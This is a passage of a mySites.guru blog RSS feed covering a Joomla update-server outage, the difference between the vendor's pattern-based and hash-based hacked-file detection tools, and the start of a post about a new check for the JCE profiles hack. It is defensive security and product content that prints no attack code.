&lt;div&gt;&lt;p&gt;The 13 June outage in one line&lt;/p&gt;&lt;div&gt;&lt;p&gt;A global, transient outage of Joomla’s update check, where the metadata was expired and every site correctly rejected it, fixed only when Joomla’s infrastructure team got the deploy working again.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Why Joomla 6 Sites Got Hit Hardest&lt;/h2&gt;
&lt;p&gt;Joomla runs two parallel update channels, and which one your site uses depends on its version.&lt;/p&gt;
&lt;p&gt;Older sites use the plain XML channel at &lt;code&gt;update.joomla.org/core/list.xml&lt;/code&gt;. It is an unsigned set of XML files that has existed for years, and it was completely healthy throughout this outage, correctly offering the current versions to the sites that read it. Sites on Joomla 4 and earlier never saw the error, because their update path was never the broken one.&lt;/p&gt;
&lt;p&gt;Sites on Joomla 5.1 and later use the signed TUF channel instead, and that is the one with the expired timestamp gate. Here is the detail that explains why the reporter on Joomla 6.0.4 was stuck while plenty of other sites updated fine: the legacy XML channel stops at the Joomla 5 line. It offers 5.4.6 as the newest core and lists no Joomla 6 release at all. Every Joomla 6 release, 6.0.1 through 6.1.1, is published only through the signed TUF channel.&lt;/p&gt;
&lt;p&gt;That leaves a Joomla 6 site with no fallback. When the TUF timestamp expired, there was no second, unsigned channel to drop back to, so the update check was fully blocked. The signed data itself was never the problem. The targets file that lists every available version, including the 6.1.1 the reporter wanted, was valid and current the whole time. The only thing standing between that site and its update was the single expired timestamp file the deploy pipeline had stopped refreshing.&lt;/p&gt;
&lt;h2&gt;This Has Happened Before, Repeatedly&lt;/h2&gt;
&lt;p&gt;The reason we treat this as a server-side event first and a site problem second is that the public record is clear: the same error has surfaced over and over for two years, and every time it has been fixed on Joomla’s side with no site touching anything.&lt;/p&gt;
&lt;div&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;Report&lt;/th&gt;&lt;th&gt;Outcome&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;Jul 2024&lt;/th&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/43772&quot;&gt;Issue #43772&lt;/a&gt; (Joomla 5.1.2): a corrupt, zero-length metadata file served to many sites.&lt;/td&gt;&lt;td&gt;Closed the same day. Fixed at the server, no Joomla release.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;Jan 2025&lt;/th&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/44798&quot;&gt;Issue #44798&lt;/a&gt; (Joomla 5.2.3): “Remote timestamp metadata expired” while updating.&lt;/td&gt;&lt;td&gt;Fixed server-side within hours. No client action.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;Jul 2025&lt;/th&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/45789&quot;&gt;Issue #45789&lt;/a&gt; (Joomla 5.3): “happens to many clients” and even when no update was due.&lt;/td&gt;&lt;td&gt;Closed in minutes. “Already solved” at the server end.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;Jun 2026&lt;/th&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/47950&quot;&gt;Issue #47950&lt;/a&gt; (Joomla 6.0.4): the outage traced above, expired timestamp v1100.&lt;/td&gt;&lt;td&gt;Resolved by redeploying the timestamp file.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;The maintainers have been candid about the cause from the start. Back on the &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/43772&quot;&gt;July 2024 report&lt;/a&gt;, Joomla release-team member Harald Leithner &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/43772#issuecomment-2222641549&quot;&gt;laid out the exact mechanism&lt;/a&gt; that has caused every recurrence since:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Harald Leithner, Joomla release team, July 2024&lt;/p&gt;&lt;div&gt;&lt;p&gt;“Joomla uses cloudflare as CDN for our update server, it caches the tuf json files (for j5.1+) and the xml files (for &amp;lt; 5.1). […] Everyday the timestamp.json is regenerated with an uptodate time, we upload the file from the drone CI to our webserver, this tooks a couple of ms. In case cloudflare (or one of the cloudflare mirrors) downloads the file at exact the time the file is created it’s possible that it gets a 0-length file. We use rclone for upload which should prevent this error but I hadn’t the time to debug it in deep. Clearing our cloudflare cache resolves this issue […]”&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;When it recurred in &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/45789&quot;&gt;July 2025&lt;/a&gt;, Joomla co-founder Brian Teeman &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/45789#issuecomment-3121801430&quot;&gt;gave the same verdict in a sentence&lt;/a&gt;: “I am assuming that it was at the TUF server end and it has been fixed there. So no Joomla release required, the problem should have already disappeared”.&lt;/p&gt;
&lt;p&gt;A &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/43772#issuecomment-2236088658&quot;&gt;reporter on the same issue&lt;/a&gt; put the client-side takeaway simply: it is on Joomla’s infrastructure side that Cloudflare does the caching, not on yours. Simply wait.&lt;/p&gt;
&lt;p&gt;That is the whole reason this post leads with “it is not your site.” A documented, recurring race condition on Joomla’s own update CDN is the prior probability you should start from every time you see this error.&lt;/p&gt;
&lt;h2&gt;Should I Reset My Joomla Update Component?&lt;/h2&gt;
&lt;p&gt;Only if you have ruled out the server-side cause first. Resetting is the right fix for stale local metadata and the wrong fix for a transient server glitch, where it does nothing except cost you time.&lt;/p&gt;
&lt;p&gt;When you have confirmed it is local (the error persists for days on one dormant or restored site while others update normally), you have three options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reset Joomla! Update via Akeeba Admin Tools.&lt;/strong&gt; If you run &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Admin Tools&lt;/a&gt;, its Reset Joomla! Update feature clears the cached update state cleanly. This is the least error-prone option.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear the update sites cache.&lt;/strong&gt; In Extensions then Update Sites, rebuild and re-check so the next fetch pulls fresh signed metadata. On a site running AcyMailing, reinstall AcyMailing afterwards, because &lt;a href=&quot;https://mysites.guru/blog/acymailing-update-site-disappears/&quot;&gt;Rebuild deletes its update site&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Upload and Update.&lt;/strong&gt; Download the package and install it by hand, which sidesteps the TUF channel entirely and gets the site current immediately.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a site you are bringing back from a long sleep, Upload and Update is often the fastest path to current, after which the normal channel works again because the now-current install fetches fresh metadata on its next check.&lt;/p&gt;
&lt;h2&gt;Watching This Across a Portfolio Without Refreshing Tabs&lt;/h2&gt;
&lt;p&gt;A single site owner can afford to wait an hour and re-check. An agency running &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;dozens or hundreds of Joomla sites&lt;/a&gt; cannot afford to discover an update outage one support ticket at a time.&lt;/p&gt;
&lt;p&gt;mySites.guru already runs a daily check against every connected site’s update streams and emails you the result of &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;auto-updates&lt;/a&gt; for both successes and failures, so an account-wide pattern of update failures surfaces as a cluster of alerts rather than a slow trickle of confused clients. Pair that with &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; and a &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;scheduled backup&lt;/a&gt; before any update runs, and an event like the 13 June outage becomes something you read about in an alert and choose to ignore, because you already know it is Joomla’s server and not your sites.&lt;/p&gt;
&lt;p&gt;“The offered update has expired” is a failure that looks local but is usually global. The agencies that handle it calmly are the ones with a portfolio-wide view that shows them, in one glance, that every site is failing the same check at the same time. That is the signature of a server-side cause, and the signal to wait rather than touch anything.&lt;/p&gt;
&lt;h2&gt;When the Error Is Worth Actually Worrying About&lt;/h2&gt;
&lt;p&gt;There is one case where this error is a real local problem you should act on: a single production site, kept current, that suddenly cannot update while every other site you run can. That rules out the server-side cause. At that point you are looking at stale local metadata, a host-side cache holding an expired file, or a clock on the server set wrong enough that even fresh metadata looks expired. Check the server time first (an NTP drift into the future makes every valid file look expired), then the cache, then reset the update component.&lt;/p&gt;
&lt;p&gt;Everything else, the overwhelming majority of the time, is Joomla’s update server having a bad few hours. Your site rejecting the expired file is the system protecting you, and the correct response is patience, not surgery.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-file-checksum-failed/&quot;&gt;File Checksum Failed in Joomla&lt;/a&gt; - the error you get when the metadata checks out but the downloaded package does not match its signed hash, often on release day or after a full disk.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/invalid-status-code-999-joomla-update-error/&quot;&gt;Joomla update error 999: a dead extension redirecting to LinkedIn&lt;/a&gt; - a different Joomla update failure with a completely different cause, an abandoned third-party update site rather than a Joomla.org metadata outage.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://theupdateframework.io/&quot;&gt;The Update Framework (TUF)&lt;/a&gt; - the specification behind Joomla’s signed core updates, including how metadata expiry defends against freeze attacks.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help5.x:Joomla_Update/en&quot;&gt;Joomla Documentation: Joomla Update&lt;/a&gt; - the official core update screen, including Upload and Update.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2024/tamper-proof-core-updates-for-joomla-tuf-making-it-into-5-1&quot;&gt;Joomla Community Magazine: Tamper-Proof core updates for Joomla&lt;/a&gt; - the announcement of TUF shipping in Joomla 5.1.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/reset-joomla-update.html&quot;&gt;Akeeba: Reset Joomla! Update&lt;/a&gt; - how to clear cached update state when the local-metadata cause is confirmed.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;Know before your clients do&lt;/p&gt;&lt;p&gt;mySites.guru watches the updates, backups, uptime, and security of every Joomla and WordPress site you run, from one dashboard, so an account-wide event like an update-server outage reaches you as an alert instead of a support ticket.&lt;/p&gt;&lt;div&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start your free month&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>upgrade</category><category>tuf</category><category>manage joomla</category><enclosure url="https://mysites.guru/img/og/blog/joomla-update-not-possible-offered-update-has-expired.png" length="0" type="image/png"/></item><item><title>Suspect Content vs Hacked Files: Two mySites.guru Tools, One Big Difference</title><link>https://mysites.guru/blog/suspect-content-vs-hacked-files/</link><guid isPermaLink="true">https://mysites.guru/blog/suspect-content-vs-hacked-files/</guid><description>mySites.guru now has two tools: Suspect content matches a file&apos;s content, Hacked files matches its hash. Learn the difference and triage your audit in minutes.</description><pubDate>Thu, 11 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your audit finishes and you go looking at the files it flagged. mySites.guru now hands you two separate tools for this, not one list. One of them, Suspect content, is a pile of files worth a look. The other, Hacked files, is a pile of files that are hacked, full stop. Knowing which tool you’re in changes what you do next.&lt;/p&gt;
&lt;p&gt;The big difference comes down to &lt;em&gt;how&lt;/em&gt; a file ends up in each tool. &lt;a href=&quot;https://mysites.guru/tools/file-information/suspect-content/&quot;&gt;Suspect content&lt;/a&gt; matches on the file’s &lt;strong&gt;content&lt;/strong&gt;. &lt;a href=&quot;https://mysites.guru/tools/file-information/hacked-files/&quot;&gt;Hacked files&lt;/a&gt; matches on the file’s &lt;strong&gt;hash&lt;/strong&gt;. That one distinction is why they’re separate, and it’s worth a minute to understand before you start deleting anything. If your sites aren’t connected yet, a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; will show you both tools against your own webspace.&lt;/p&gt;
&lt;h2&gt;Two tools, one source scan&lt;/h2&gt;
&lt;p&gt;Every mySites.guru audit reads every file in your webspace, every line, including the dormant files a browser-based scanner never sees. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;full mechanics of the scan&lt;/a&gt; are a post of their own. From that one scan, two different detection methods feed two different tools:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Suspect content&lt;/strong&gt;: the file’s &lt;em&gt;content&lt;/em&gt; matches one or more of 1,500+ hand-written hack patterns. Translation: worth a look. This is a heuristic, and false positives are expected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hacked files&lt;/strong&gt;: the file’s MD5 hash matches a file already confirmed as hacked. Translation: confirmed. This is a fact, with no false positives.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You’ll find both sitting next to each other under the Hacked group in your audit:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Hacked tools group showing Check Suspect Patterns Matched Content In Files and Hacked Files (100% Certain) as two separate tools&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;241&quot; src=&quot;https://mysites.guru/_astro/suspect-content-two-tools.x5znZP7m_ZLSVNN.webp&quot; srcset=&quot;https://mysites.guru/_astro/suspect-content-two-tools.x5znZP7m_SyTv9.webp 640w, https://mysites.guru/_astro/suspect-content-two-tools.x5znZP7m_Z1KQzJK.webp 750w, https://mysites.guru/_astro/suspect-content-two-tools.x5znZP7m_ZwaGuD.webp 828w, https://mysites.guru/_astro/suspect-content-two-tools.x5znZP7m_ZLSVNN.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;These two used to share a list. Giving each its own tool means you never again confuse a file that needs a human eye with a file that has already been condemned.&lt;/p&gt;
&lt;p&gt;One thing surprises people: &lt;strong&gt;the Suspect content tool may well contain hacked files.&lt;/strong&gt; Not files we’ve cleared, files we simply haven’t confirmed yet. A backdoor dropped on your site this morning matches our patterns the moment we scan it, so it shows up under Suspect content. The &lt;a href=&quot;https://mysites.guru/blog/fake-cloudflare-captcha-wordpress-core-functions-php/&quot;&gt;fake Cloudflare captcha we found in wp-includes/functions.php&lt;/a&gt; is a worked example: patterns never written for it matched it on the first scan. It only moves to the Hacked files tool once its exact hash is on our confirmed list, which happens after a human or the AI reviews it. Suspect content is the inbound net. Hacked files is everything that net has already caught and condemned.&lt;/p&gt;
&lt;h2&gt;What does a suspect content match actually mean?&lt;/h2&gt;
&lt;p&gt;A suspect content match means a file in your webspace contains code matching at least one of more than 1,500 patterns built from real hacks found on real Joomla and WordPress sites over two decades. It does not mean the file is malicious. It means the file uses code that hackers also use, and it deserves a look.&lt;/p&gt;
&lt;p&gt;Hackers write in the same language as legitimate developers. &lt;code&gt;move_uploaded_file()&lt;/code&gt; powers every legitimate upload form, and every dropped webshell. &lt;code&gt;mail()&lt;/code&gt; sends your contact form enquiries, and a spammer’s payload. Base64 turns up in CSS image handling as often as it does in obfuscated backdoors. A pattern match without context proves nothing either way, which is exactly why these files end up in Suspect content rather than Hacked files.&lt;/p&gt;
&lt;p&gt;False positives here are the design working, not failing. The patterns are inclusive because the alternative is missing the one real backdoor among the 20,000 files on a typical site. The Suspect content tool’s job is to shrink 20,000 files down to a dozen worth reading, and across the 90,000+ sites connected to mySites.guru, that’s exactly what it does. This is the same reason a host’s scanner can wrongly flag legitimate code, as happened when &lt;a href=&quot;https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/&quot;&gt;OVH called one of our backup files malware&lt;/a&gt;. The difference is what you do with the flag: investigate it, or treat it as a verdict.&lt;/p&gt;
&lt;p&gt;Click any flagged file name and the tool shows you the exact matched lines with line numbers, alongside the file’s modification date, size, and permissions. You can edit the file in place or delete it without ever opening an FTP client, and for cleanup that reaches beyond the flagged list, the same jailed connection now powers a full &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; for the whole site. Here’s a real one, a BYTE_BUNK webshell caught with 7 pattern matches across its 1,698 lines, from &lt;code&gt;shell_exec()&lt;/code&gt; calls to its own boastful title tag:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The suspect content match view showing 7 matched lines in a BYTE_BUNK webshell, including a shell_exec call and upload handlers&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1948px) 1948px, 100vw&quot; width=&quot;1948&quot; height=&quot;740&quot; src=&quot;https://mysites.guru/_astro/suspect-content-matched-lines.DJc4L0H6_ZiuRSp.webp&quot; srcset=&quot;https://mysites.guru/_astro/suspect-content-matched-lines.DJc4L0H6_2MKRB.webp 640w, https://mysites.guru/_astro/suspect-content-matched-lines.DJc4L0H6_1PmhrK.webp 750w, https://mysites.guru/_astro/suspect-content-matched-lines.DJc4L0H6_Zg5ajK.webp 828w, https://mysites.guru/_astro/suspect-content-matched-lines.DJc4L0H6_ZX8d7u.webp 1080w, https://mysites.guru/_astro/suspect-content-matched-lines.DJc4L0H6_13zJKo.webp 1280w, https://mysites.guru/_astro/suspect-content-matched-lines.DJc4L0H6_Z10CYV9.webp 1668w, https://mysites.guru/_astro/suspect-content-matched-lines.DJc4L0H6_ZiuRSp.webp 1948w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The Hacked files tool means act now&lt;/h2&gt;
&lt;p&gt;The Hacked files tool lists files whose MD5 hash matches a file already confirmed as hacked. An identical hash means identical bytes: your file is the same, character for character, as one that has been examined and condemned before. There is no maybe at this confidence level, and no false positives. Where Suspect content judges a file on what it contains, Hacked files judges it on what it &lt;em&gt;is&lt;/em&gt;, the full-file hash, which is why this tool gets to call its results facts.&lt;/p&gt;
&lt;p&gt;Every one of the 14,000+ hashes on that list has been through review before it earned its place. For years that reviewer was me, reading each backdoor line by line before flagging it. Today the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis&lt;/a&gt; adds confirmed-malicious verdicts to the same list, and I still see every AI verdict and overrule the wrong ones before they pollute the data.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important&lt;/p&gt;
  &lt;p&gt;A file in the Hacked files tool means your site is compromised, not just that one file. The attacker got in somehow. Deleting the file removes a symptom, not the entry point.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;Confirmed hacked files in the mySites.guru Hacked files tool, each one a full-file hash match against the confirmed list&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1944px) 1944px, 100vw&quot; width=&quot;1944&quot; height=&quot;490&quot; src=&quot;https://mysites.guru/_astro/suspect-content-hacked-file-badges.C8QITRKu_mVUhA.webp&quot; srcset=&quot;https://mysites.guru/_astro/suspect-content-hacked-file-badges.C8QITRKu_Z1kgz0p.webp 640w, https://mysites.guru/_astro/suspect-content-hacked-file-badges.C8QITRKu_SnKC0.webp 750w, https://mysites.guru/_astro/suspect-content-hacked-file-badges.C8QITRKu_Z1E3P8h.webp 828w, https://mysites.guru/_astro/suspect-content-hacked-file-badges.C8QITRKu_2rNlki.webp 1080w, https://mysites.guru/_astro/suspect-content-hacked-file-badges.C8QITRKu_Z13Tf8E.webp 1280w, https://mysites.guru/_astro/suspect-content-hacked-file-badges.C8QITRKu_Z2l4Pjp.webp 1668w, https://mysites.guru/_astro/suspect-content-hacked-file-badges.C8QITRKu_mVUhA.webp 1944w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If a file appears in Hacked files, switch from triage to incident response: follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;, or hand the whole job to &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; for a set-fee cleanup.&lt;/p&gt;
&lt;h2&gt;How do I triage a wall of flagged files?&lt;/h2&gt;
&lt;p&gt;Work in confidence order: the Hacked files tool first, then AI verdicts on the Suspect content list, then manual review. This turns a wall of thirty flags into three short queues, and most of the time the third queue is empty by the time you reach it.&lt;/p&gt;
&lt;h3&gt;Step 1: open the Hacked files tool&lt;/h3&gt;
&lt;p&gt;Anything listed here is a confirmed compromise, a full-file hash match. Stop triaging and start cleaning, as above. If this tool is empty, good, but don’t stop: a freshly dropped backdoor we haven’t confirmed yet is sitting in Suspect content, not here.&lt;/p&gt;
&lt;h3&gt;Step 2: run AI analysis on the Suspect content list&lt;/h3&gt;
&lt;p&gt;Click the AI icon on any single file, or use Analyse Files with AI to queue the lot. Each file comes back with a verdict: safe, suspicious, or malicious, with the problem lines identified. Verdicts are cached globally by file hash, so the files of a popular plugin have usually been analysed by someone already and come back instantly at no cost. A malicious verdict adds that file’s hash to the confirmed list, so the next time anyone meets that exact file, it moves straight into their Hacked files tool.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;Coloured AI analysis icons next to suspect files in mySites.guru, showing analysed and unanalysed states&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;283&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.48@2x-1024x283.rz-83yo7_wVouE.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.48@2x-1024x283.rz-83yo7_Z1mjwvh.webp 640w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.48@2x-1024x283.rz-83yo7_Z1joDQj.webp 750w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.48@2x-1024x283.rz-83yo7_2rmedA.webp 828w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.48@2x-1024x283.rz-83yo7_wVouE.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Step 3: manually review what’s left&lt;/h3&gt;
&lt;p&gt;For the handful of files the AI marks suspicious, open the matched lines and apply context the AI may lack. Does the file belong to a plugin you actually installed? Does its modification date match the rest of the package, or did it change last Tuesday at 3am? Is it a PHP file sitting in an images folder? That last question now has its own check: &lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;Impostor Files&lt;/a&gt; lists everything sitting in a folder Joomla or WordPress owns that the release never shipped. Compare it against the original extension package if you can.&lt;/p&gt;
&lt;p&gt;If a file gets through all three steps and you’re still unsure, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;send it to me&lt;/a&gt; and I’ll look at it myself. That offer has been part of the service since 2012.&lt;/p&gt;
&lt;h2&gt;Your confirmed hack protects everyone else&lt;/h2&gt;
&lt;p&gt;Every confirmed hacked file makes the whole network safer. The moment a hash is confirmed, whether by my review or an AI verdict I’ve checked, it joins the global hacklist, and the next audit of any connected site checks against it. The same backdoor dropped on a hundred sites only needs to be condemned once.&lt;/p&gt;
&lt;p&gt;This crowd-sourced model is why detection improves daily rather than quarterly. We run over 3,000 audits a day and find over 200 hacked sites a week, and every one of those finds feeds patterns and hashes back into the checks that run on your sites tomorrow.&lt;/p&gt;
&lt;h2&gt;What if I’m still not sure about a file?&lt;/h2&gt;
&lt;p&gt;Don’t whitelist it, because you can’t: mySites.guru has no user whitelisting, for reasons (including an expensive legal one) covered in &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;the suspect content deep-dive&lt;/a&gt;. A file you hide from yourself today is a backdoor you won’t see next month.&lt;/p&gt;
&lt;p&gt;Instead, leave it flagged and treat it as a known quantity. A suspect flag costs you nothing while it sits there; you’ll re-confirm it in seconds on the next audit with cached AI verdicts. And if a file ever nags at you, that’s what the manual review channel is for.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nsacyber/Mitigating-Web-Shells&quot;&gt;NSA &amp;amp; ASD: Mitigating Web Shells&lt;/a&gt; - joint guidance on detecting and blocking web shell malware, with detection scripts.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.eval.php&quot;&gt;PHP Manual: eval()&lt;/a&gt; - the official documentation, complete with its famous warning about why this construct is dangerous.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/documentation/article/faq-my-site-was-hacked/&quot;&gt;WordPress.org: FAQ - My site was hacked&lt;/a&gt; - the official WordPress recovery checklist.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-community/attacks/Code_Injection&quot;&gt;OWASP: Code Injection&lt;/a&gt; - background on the attack class most webshells belong to.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>hack detection</category><category>malware</category><category>audit tools</category><enclosure url="https://mysites.guru/img/og/blog/suspect-content-vs-hacked-files.png" length="0" type="image/png"/></item><item><title>A New mySites.guru Tool to Find, and Fix, the JCE Profiles Hack (June 2026)</title><link>https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/</link><guid isPermaLink="true">https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/</guid><description>The JCE profiles hack exploits CVE-2026-48907, fixed in JCE 2.9.99.5. mySites.guru finds rogue profiles and webshells on every Joomla site. Patch to 2.9.99.11.</description><pubDate>Tue, 09 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;Current secure version: JCE 2.9.99.11&lt;/p&gt;&lt;div&gt;&lt;p&gt;Released 15 September 2026, and the last release to add features to the 2.9 series. JCE 3.0 arrives within days, and the developer has rebuilt how 2.9 handles files, uploads and requests so it matches 3.0 and a single fix applies to both branches. The 2.9 series moves to maintenance from here, with security fixes continuing. Patch every site to 2.9.99.11: it sits on top of the security lineage that matters here, the &lt;a href=&quot;https://mysites.guru/blog/jce-2-9-99-10-security-update/&quot;&gt;2.9.99.10 file rename fix&lt;/a&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65891/&quot;&gt;CVE-2026-65891&lt;/a&gt;), the 2.9.99.8 File Browser hardening, the 2.9.99.7 upload-regression fix and group whitelist, the &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;2.9.99.6 audit&lt;/a&gt;, and the &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;2.9.99.5 fix&lt;/a&gt; for the flaw itself. Anything below 2.9.99.5 still has the unauthenticated profile upload flaw this attack exploits.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;The whole story in one place&lt;/p&gt;&lt;div&gt;&lt;p&gt;Our &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles Hack page&lt;/a&gt; is the page of truth for this attack, with the indicators of compromise, the tool that finds and fixes it, and links to every post below.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It sits in the top two of our &lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;live extension ranking&lt;/a&gt;, neck and neck with Akeeba Backup. So when the JCE profiles attack started hitting real sites this month, “Are any of the sites I’m responsible for hacked!?” became a question every Joomla agency suddenly needed to answer. mySites.guru now answers it for you, automatically, on every site you manage.&lt;/p&gt;
&lt;p&gt;We have added a new dedicated check, &lt;strong&gt;Check for JCE Rogue Profiles &amp;amp; Backdoors&lt;/strong&gt;. It runs on every snapshot, twice a day, on each connected Joomla site, and &lt;strong&gt;finds&lt;/strong&gt; the fingerprint of this attack automatically: rogue editor profiles and the webshells they drop. When it flags something, &lt;strong&gt;fixing&lt;/strong&gt; it is a one-click action you trigger yourself, on Joomla 4, 5 and 6 you remove the profiles, delete the backdoors, and update JCE to the patched version, all from one screen. It does not delete anything on its own, because you want to see what is there and take a copy first. This post covers what it checks and how to use it, and the live hack that prompted us to build it.&lt;/p&gt;
&lt;p&gt;We built it because we kept finding the real thing. While looking into why a Joomla site was throwing a template error, we found the aftermath of the JCE profiles attack on the live site: a rogue editor profile built to allow file uploads, and a set of webshells dropped through it. The site was running a JCE version old enough to have the unauthenticated profile upload flaw, &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;CVE-2026-48907&lt;/a&gt;. When we swept the rest of that portfolio, two more sites had it too. Doing that sweep by hand across 40 client sites is exactly the work that does not get done, so we automated it.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru now has a dedicated &lt;strong&gt;Check for JCE Rogue Profiles &amp;amp; Backdoors&lt;/strong&gt; that runs on every snapshot, twice a day, on every connected Joomla site&lt;/li&gt;
